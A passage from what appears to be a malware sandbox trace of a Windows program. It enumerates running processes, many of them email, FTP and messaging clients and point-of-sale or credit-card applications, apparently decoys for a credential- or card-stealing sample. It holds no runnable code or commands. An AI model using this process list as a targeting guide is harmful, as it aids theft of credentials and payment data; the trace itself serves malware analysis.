(HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306a0 [0099.199] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430be0 | out: hHeap=0x2110000) returned 1 [0099.199] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x99a) returned 0x2117980 [0099.199] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2117310 | out: hHeap=0x2110000) returned 1 [0099.199] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0099.200] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116998 [0099.200] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c40 [0099.200] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116918 [0099.200] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430560 [0099.200] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c40 | out: hHeap=0x2110000) returned 1 [0099.200] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34305d8 [0099.200] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0099.203] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116808 [0099.204] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c00 [0099.204] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116958 [0099.204] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0099.204] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c00 | out: hHeap=0x2110000) returned 1 [0099.204] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430650 [0099.204] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0099.205] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169a8 [0099.205] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c20 [0099.205] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116908 [0099.205] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.205] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c20 | out: hHeap=0x2110000) returned 1 [0099.205] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0099.206] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116898 [0099.207] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ee0 [0099.207] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116888 [0099.207] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.207] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ee0 | out: hHeap=0x2110000) returned 1 [0099.207] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0099.208] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116908 [0099.208] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ee0 [0099.208] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116918 [0099.208] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0099.208] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ee0 | out: hHeap=0x2110000) returned 1 [0099.208] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0099.210] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116838 [0099.210] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ca0 [0099.210] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169d8 [0099.210] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430498 [0099.210] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ca0 | out: hHeap=0x2110000) returned 1 [0099.210] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1014, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0099.211] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.211] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d20 [0099.211] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169b8 [0099.211] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430470 [0099.211] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d20 | out: hHeap=0x2110000) returned 1 [0099.211] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0099.212] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116918 [0099.212] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d80 [0099.212] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116978 [0099.212] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0099.213] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d80 | out: hHeap=0x2110000) returned 1 [0099.213] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x102c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0099.214] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116988 [0099.214] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c60 [0099.214] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.214] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430678 [0099.214] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.214] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0099.215] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169b8 [0099.215] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430de0 [0099.215] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116998 [0099.215] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.215] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430de0 | out: hHeap=0x2110000) returned 1 [0099.215] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1040, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0099.217] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116858 [0099.217] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d60 [0099.217] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168f8 [0099.217] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304c0 [0099.217] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d60 | out: hHeap=0x2110000) returned 1 [0099.217] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0099.218] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168d8 [0099.218] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d00 [0099.218] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.218] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0099.218] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d00 | out: hHeap=0x2110000) returned 1 [0099.218] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0099.220] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168e8 [0099.220] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430b60 [0099.220] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116938 [0099.220] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304c0 [0099.220] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430b60 | out: hHeap=0x2110000) returned 1 [0099.220] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0099.221] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.221] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430f00 [0099.221] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116958 [0099.221] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430470 [0099.221] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f00 | out: hHeap=0x2110000) returned 1 [0099.221] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0099.222] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169a8 [0099.222] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d20 [0099.222] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116968 [0099.222] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304c0 [0099.223] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d20 | out: hHeap=0x2110000) returned 1 [0099.223] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1080, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0099.224] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116998 [0099.224] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430b60 [0099.224] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116918 [0099.224] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.224] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430b60 | out: hHeap=0x2110000) returned 1 [0099.224] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0099.225] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116878 [0099.225] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d00 [0099.225] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168e8 [0099.225] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430380 [0099.225] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d00 | out: hHeap=0x2110000) returned 1 [0099.225] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0099.226] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168e8 [0099.226] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ca0 [0099.226] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169c8 [0099.227] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430588 [0099.227] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ca0 | out: hHeap=0x2110000) returned 1 [0099.227] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430600 [0099.227] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0099.228] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.228] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c20 [0099.228] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168b8 [0099.228] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.228] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c20 | out: hHeap=0x2110000) returned 1 [0099.228] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430498 [0099.228] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0099.229] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169b8 [0099.229] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d20 [0099.230] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168f8 [0099.230] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430470 [0099.230] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d20 | out: hHeap=0x2110000) returned 1 [0099.230] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0099.231] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116968 [0099.231] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c80 [0099.231] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169d8 [0099.231] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.231] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c80 | out: hHeap=0x2110000) returned 1 [0099.231] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0099.232] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116908 [0099.232] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ec0 [0099.232] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116938 [0099.232] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34305b0 [0099.233] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ec0 | out: hHeap=0x2110000) returned 1 [0099.233] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0099.234] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116968 [0099.234] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d40 [0099.234] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116838 [0099.234] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430588 [0099.234] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d40 | out: hHeap=0x2110000) returned 1 [0099.234] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0099.235] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168a8 [0099.235] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430f00 [0099.235] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168d8 [0099.235] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430420 [0099.235] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f00 | out: hHeap=0x2110000) returned 1 [0099.236] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306c8 [0099.236] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0099.238] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.238] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d60 [0099.238] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116958 [0099.238] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303a8 [0099.239] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d60 | out: hHeap=0x2110000) returned 1 [0099.239] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34305b0 [0099.239] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0099.240] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169a8 [0099.240] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d20 [0099.240] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116968 [0099.240] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430650 [0099.240] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d20 | out: hHeap=0x2110000) returned 1 [0099.240] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0099.241] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116978 [0099.241] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ee0 [0099.241] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116938 [0099.241] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304c0 [0099.242] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ee0 | out: hHeap=0x2110000) returned 1 [0099.242] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1110, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0099.243] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f00 | out: hHeap=0x2110000) returned 1 [0099.243] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0099.244] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f20 | out: hHeap=0x2110000) returned 1 [0099.244] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0099.245] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e20 | out: hHeap=0x2110000) returned 1 [0099.245] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0099.246] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430cc0 | out: hHeap=0x2110000) returned 1 [0099.246] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0099.247] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c20 | out: hHeap=0x2110000) returned 1 [0099.247] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0099.249] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d00 | out: hHeap=0x2110000) returned 1 [0099.249] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="starfirmair.exe")) returned 1 [0099.250] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ec0 | out: hHeap=0x2110000) returned 1 [0099.250] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="plant_yet_amount.exe")) returned 1 [0099.251] HeapFree 